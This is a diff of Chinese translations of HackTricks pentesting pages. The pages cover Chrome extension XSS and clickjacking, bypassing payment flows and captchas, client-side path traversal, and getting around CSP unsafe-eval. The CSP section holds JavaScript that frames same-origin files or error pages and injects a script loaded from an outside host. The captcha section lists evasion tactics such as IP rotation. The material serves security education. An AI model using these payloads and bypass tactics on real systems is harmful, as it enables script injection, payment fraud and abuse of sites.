通常Chrome扩展的内容安全策略CSP会防止此类漏洞。然而由于**通过unsafe-eval放宽了CSP**以及使用jQuery的DOM操作方法利用[`globalEval()`](https://api.jquery.com/jquery.globaleval/)将脚本传递给[`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval)以在DOM插入时执行仍然存在利用可能 通常Chrome 扩展的内容安全策略 (CSP) 会防止此类漏洞。然而,由于 **CSP 放宽了 unsafe-eval** 和使用 jQuery 的 DOM 操作方法(这些方法使用 [`globalEval()`](https://api.jquery.com/jquery.globaleval/) 将脚本传递给 [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) 在 DOM 插入时),仍然可以进行利用
尽管这个漏洞很重要但其利用通常取决于用户交互访问页面、输入XSS有效负载并激活“添加”按钮。 虽然这个漏洞很重要,但其利用通常依赖于用户交互:访问页面、输入 XSS 负载并激活“添加”按钮。
为了增强这个漏洞,还利用了一个次要的**点击劫持**漏洞。Chrome扩展的清单展示了一个广泛的`web_accessible_resources`策略: 为了增强这个漏洞,利用了一个次要的 **clickjacking** 漏洞。Chrome 扩展的清单展示了一个广泛的 `web_accessible_resources` 策略:
```json ```json
"web_accessible_resources": [ "web_accessible_resources": [
"html/bookmarks.html", "html/bookmarks.html",
@ -98,23 +99,24 @@ persistData();
[...] [...]
], ],
``` ```
值得注意的是,**`/html/bookmarks.html`** 页面容易被嵌套,因此容易受到**点击劫持**的攻击。攻击者可以利用这种漏洞将页面嵌套到攻击者的网站中并使用DOM元素覆盖页面以欺骗性地重新设计界面。这种操纵会导致受害者无意中与底层扩展进行交互。 显著地,**`/html/bookmarks.html`** 页面容易被框架嵌套,因此容易受到 **clickjacking** 攻击。此漏洞被利用,将页面嵌入攻击者的网站中,并用 DOM 元素覆盖,以欺骗性地重新设计界面。这种操控导致受害者无意中与底层扩展进行交互。
## 参考资料 ## 参考文献
* [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/) * [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/)
* [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/) * [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)
{% hint style="success" %}
学习与实践 AWS Hacking<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP Hacking<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# 绕过支付流程 # 绕过支付流程
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
**Try Hard Security Group** **Try Hard Security Group**
@ -25,32 +26,32 @@
## 支付绕过技术 ## 支付绕过技术
### 请求拦截 ### 请求拦截
在交易过程中,监视客户端和服务器之间交换的数据至关重要。可以通过拦截所有请求来实现这一点。在这些请求中,要注意具有重要影响的参数,例如: 在交易过程中,监控客户端和服务器之间交换的数据至关重要。这可以通过拦截所有请求来实现。在这些请求中,注意具有重大影响的参数,例如:
- **Success**:此参数通常指示交易的状态。 - **成功**:此参数通常指示交易的状态。
- **Referrer**:可能指向请求来源的源。 - **引荐来源**:它可能指向请求来源。
- **Callback**通常用于在交易完成后重定向用户。 - **回调**:这通常用于在交易完成后重定向用户。
### URL分析 ### URL 分析
如果遇到包含URL的参数特别是遵循模式_example.com/payment/MD5HASH_的参数需要进行更仔细的检查。以下是逐步方法: 如果遇到包含 URL 的参数,特别是遵循模式 _example.com/payment/MD5HASH_ 的 URL则需要更仔细地检查。以下是逐步方法:
1. **复制URL**从参数值中提取URL。 1. **复制 URL**:从参数值中提取 URL。
2. **新窗口检查**:在新浏览器窗口中打开复制的URL。这一步骤对于理解交易结果至关重要。 2. **新窗口检查**:在新浏览器窗口中打开复制的 URL。此操作对于理解交易结果至关重要。
### 参数操 ### 参数操
1. **更改参数值**尝试通过更改参数值如_Success_、_Referrer_或_Callback_来进行实验。例如将参数从`false`更改为`true`有时可以揭示系统如何处理这些输入。 1. **更改参数值**通过更改参数如 _成功_、_引荐来源_ 或 _回调_ 的值进行实验。例如,将参数从 `false` 更改为 `true` 有时可以揭示系统如何处理这些输入。
2. **删除参数**:尝试完全删除某些参数,以查看系统的反应。当缺少预期参数时,某些系统可能具有回退或默认行为。 2. **移除参数**:尝试完全移除某些参数,以查看系统如何反应。一些系统在缺少预期参数时可能会有后备或默认行为。
### Cookie篡改 ### Cookie 篡改
1. **检查Cookie**许多网站在Cookie中存储关键信息。检查这些Cookie是否包含与支付状态或用户身份验证相关的任何数据。 1. **检查 Cookies**:许多网站在 Cookies 中存储关键信息。检查这些 Cookies 中与支付状态或用户认证相关的数据。
2. **修改Cookie值**更改Cookie中存储的值,并观察网站的响应或行为如何变化。 2. **修改 Cookie 值**:更改存储在 Cookies 中的值,并观察网站的响应或行为如何变化。
### 会话劫持 ### 会话劫持
1. **会话令牌**:如果支付过程中使用会话令牌,请尝试捕获和操纵它们。这可能会揭示会话管理漏洞。 1. **会话令牌**:如果在支付过程中使用会话令牌,尝试捕获和操控它们。这可能会揭示会话管理漏洞。
### 响应篡改 ### 响应篡改
1. **拦截响应**:使用工具拦截和分析服务器的响应。查找可能指示成功交易或揭示支付流程中下一步的任何数据。 1. **拦截响应**:使用工具拦截和分析来自服务器的响应。查找可能指示成功交易或揭示支付过程下一步的数据。
2. **修改响应**:尝试在浏览器或应用程序处理响应之前修改响应,以模拟成功交易场景。 2. **修改响应**:尝试在浏览器或应用程序处理之前修改响应,以模拟成功交易场景。
**Try Hard Security Group** **Try Hard Security Group**
@ -58,16 +59,17 @@
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,49 +1,64 @@
# Captcha Bypass # Captcha Bypass
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
## Captcha Bypass ## Captcha Bypass
为了在**服务器测试**期间绕过验证码并自动化用户输入功能,可以采用各种技术。目标不是为了破坏安全性,而是为了简化测试过程。以下是一份全面的策略列表: 为了在 **服务器测试****绕过** 验证码并自动化用户输入功能,可以采用多种技术。目标不是削弱安全性,而是简化测试过程。以下是全面的策略列表:
1. **参数操** 1. **参数操**
* **省略验证码参数**:避免发送验证码参数。尝试更改HTTP方法从POST到GET或其他动词并更改数据格式例如在表单数据和JSON之间切换。 * **省略验证码参数**:避免发送验证码参数。尝试将 HTTP 方法从 POST 更改为 GET 或其他动词,并更改数据格式,例如在表单数据和 JSON 之间切换。
* **发送空验证码**:提交请求时保留验证码参数但留空。 * **发送空验证码**:提交请求时保留验证码参数但留空。
2. **值提取和重用** 2. **值提取和重用**
* **源代码检查**:在页面源代码中搜索验证码值。 * **源代码检查**:在页面源代码中搜索验证码值。
* **Cookie分析**检查cookie以查找验证码值是否被存储和重用。 * **Cookie 分析**:检查 Cookie 以查找验证码值是否被存储和重用。
* **重用旧验证码值**:尝试再次使用前成功的验证码值。请记住,它们可能随时过期。 * **重用旧验证码值**:尝试再次使用前成功的验证码值。请记住,它们可能随时过期。
* **会话操纵**尝试在不同会话或相同会话ID中使用相同的验证码值。 * **会话操控**:尝试在不同会话或相同会话 ID 中使用相同的验证码值。
3. **自动化和识别** 3. **自动化和识别**
* **数学验证码**:如果验证码涉及数学运算,自动化计算过程。 * **数学验证码**:如果验证码涉及数学运算,自动化计算过程。
* **图像识别** * **图像识别**
* 对于需要从图像中读取字符的验证码,手动或通过程序确定唯一图像的总数。如果集合有限,您可以通过其MD5哈希标识每个图像。 * 对于需要从图像中读取字符的验证码,手动或程序性地确定唯一图像的总数。如果集合有限,您可能会通过其 MD5 哈希识别每个图像。
* 利用光学字符识别OCR工具如[Tesseract OCR](https://github.com/tesseract-ocr/tesseract),从图像中自动读取字符。 * 利用光学字符识别 (OCR) 工具,如 [Tesseract OCR](https://github.com/tesseract-ocr/tesseract),自动化从图像中读取字符。
4. **其他技术** 4. **其他技术**
* **速率限制测试**:检查应用程序是否限制了在给定时间范围内的尝试或提交次数,以及是否可以绕过或重置此限制。 * **速率限制测试**:检查应用程序是否限制在给定时间内的尝试或提交次数,以及是否可以绕过或重置此限制。
* **第三方服务**使用提供自动化验证码识别和解决方案的验证码解决服务或API。 * **第三方服务**:使用验证码解决服务或 API提供自动化验证码识别和解决方案。
* **会话和IP轮换**频繁更改会话ID和IP地址以避免服务器检测和阻止。 * **会话和 IP 轮换**:频繁更改会话 ID 和 IP 地址,以避免被服务器检测和阻止。
* **用户代理和标头操纵**:更改用户代理和其他请求标头以模仿不同的浏览器或设备。 * **用户代理和头部操控**:更改用户代理和其他请求头,以模拟不同的浏览器或设备。
* **音频验证码分析**:如果有音频验证码选项,请使用语音转文本服务来解释和解决验证码。 * **音频验证码分析**:如果有音频验证码选项,使用语音转文本服务来解释和解决验证码。
## 在线服务解决验证码 ## 在线服务解决验证码
### [Capsolver](https://www.capsolver.com/) ### [Capsolver](https://www.capsolver.com/)
Capsolver的自动验证码解决方案提供了**经济实惠且快速的验证码解决方案**。您可以通过其简单的集成选项快速将其与您的程序结合以在几秒钟内获得最佳结果。它可以解决reCAPTCHA V2和V3、hCaptcha、FunCaptcha、datadome、aws验证码、图片转文本、币安/coinmarketcap验证码、geetest v3等。然而这并不是一个绕过方法。 Capsolver 的自动验证码解决方案提供 **经济实惠且快速的验证码解决方案**。您可以通过其简单的集成选项快速将其与您的程序结合,以在几秒钟内获得最佳结果。它可以解决 reCAPTCHA V2 和 V3、hCaptcha、FunCaptcha、datadome、aws captcha、图像转文本、binance / coinmarketcap captcha、geetest v3 等。然而,这并不是一种真正的绕过。
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
</details>
{% endhint %}

View file

@ -1,23 +1,39 @@
# 客户端路径遍历 # 客户端路径遍历
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
## 基本信息 ## 基本信息
当您可以**操纵将要发送给用户以合法方式访问的URL的路径**,或者用户在某种方式下将**被迫访问例如通过JS或CSS**时,就会发生客户端路径遍历 客户端路径遍历发生在你可以 **操纵将要被发送给用户以合法方式访问的 URL 的路径**,或者用户以某种方式 **被强制访问,例如通过 JS 或 CSS**
在[**这篇文章**](https://erasec.be/blog/client-side-path-manipulation/)中,可以**更改邀请URL**,以便最终**取消一张卡**。 [**这篇文章**](https://erasec.be/blog/client-side-path-manipulation/) 中,可以 **更改邀请 URL**,以便最终 **取消一张卡**
在[**这篇文章**](https://mr-medi.github.io/research/2022/11/04/practical-client-side-path-traversal-attacks.html)中,通过**CSS进行客户端路径遍历**可以更改加载CSS资源的路径与**开放式重定向**结合起来,从**攻击者控制的域**加载CSS资源。 在 [**这篇文章**](https://mr-medi.github.io/research/2022/11/04/practical-client-side-path-traversal-attacks.html) 中,可以将 **通过 CSS 的客户端路径遍历**(可以更改加载 CSS 资源的路径)与 **开放重定向** 结合,以从 **攻击者控制的域** 加载 CSS 资源。
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
</details>
{% endhint %}

View file

@ -1,29 +1,30 @@
{% hint style="success" %}
学习与实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
A configuration such as: 一个这样的配置:
``` ```
Content-Security-Policy: default-src 'self' 'unsafe-inline'; Content-Security-Policy: default-src 'self' 'unsafe-inline';
``` ```
禁止使用任何以字符串形式传输并执行代码的函数。例如:`eval, setTimeout, setInterval`都将被阻止,因为设置了`unsafe-eval` 禁止使用任何作为字符串传输的代码执行函数。例如:`eval, setTimeout, setInterval` 都会因为设置 `unsafe-eval` 而被阻止。
任何来自外部来源的内容也会被阻止包括图像、CSS、WebSockets尤其是JS 来自外部来源的任何内容也会被阻止包括图像、CSS、WebSockets尤其是 JS
### 通过文本和图像 ### 通过文本和图像
观察到现代浏览器将图像和文本转换为HTML以增强其显示效果例如设置背景、居中等。因此如果通过`iframe`打开图像或文本文件,例如`favicon.ico`或`robots.txt`它将被呈现为HTML。值得注意的是这些页面通常缺少CSP标头可能不包括X-Frame-Options从而使得可以从中执行任意JavaScript 观察到现代浏览器将图像和文本转换为 HTML 以增强其显示效果(例如,设置背景、居中等)。因此,如果通过 `iframe` 打开图像或文本文件,例如 `favicon.ico``robots.txt`,它会被呈现为 HTML。值得注意的是这些页面通常缺少 CSP 头,并且可能不包含 X-Frame-Options从而允许从中执行任意 JavaScript
```javascript ```javascript
frame=document.createElement("iframe"); frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css"; frame.src="/css/bootstrap.min.css";
@ -34,7 +35,7 @@ window.frames[0].document.head.appendChild(script);
``` ```
### 通过错误 ### 通过错误
同样错误响应如文本文件或图像通常不带有CSP标头可能会省略X-Frame-Options。可以诱发错误加载到iframe中从而实现以下操作: 类似地错误响应如文本文件或图像通常没有CSP头并且可能省略X-Frame-Options。可以诱导错误在iframe中加载从而允许以下操作:
```javascript ```javascript
// Inducing an nginx error // Inducing an nginx error
frame=document.createElement("iframe"); frame=document.createElement("iframe");
@ -54,27 +55,28 @@ document.body.appendChild(frame);
// Removal of cookies is crucial post-execution // Removal of cookies is crucial post-execution
for(var i=0;i<5;i++){document.cookie=i+"="} for(var i=0;i<5;i++){document.cookie=i+"="}
``` ```
触发任何提到的场景后,可以通过以下方式在 iframe 中实现 JavaScript 执行: 触发上述任何场景后可以通过以下方式在iframe中实现JavaScript执行
```javascript ```javascript
script=document.createElement('script'); script=document.createElement('script');
script.src='//example.com/csp.js'; script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script); window.frames[0].document.head.appendChild(script);
``` ```
## 参考资料 ## 参考文献
* [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/) * [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
